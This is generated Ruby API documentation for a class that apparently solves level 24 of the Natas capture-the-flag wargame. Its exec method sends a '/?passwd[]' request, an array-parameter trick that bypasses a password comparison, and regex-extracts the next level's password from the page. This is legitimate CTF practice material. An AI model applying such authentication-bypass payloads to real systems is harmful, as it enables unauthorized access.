Class: NatasLevel24
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel24
- Defined in:
- lib/natas.rb
Overview
Level 24
Constant Summary collapse
- LEVEL =
24
- PAGE =
'/?passwd[]'
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
693 694 695 696 697 698 |
# File 'lib/natas.rb', line 693 def exec data = get(PAGE).body match = %r(Password: (\w{32})</pre>).match(data) not_found unless match found(match[1]) end |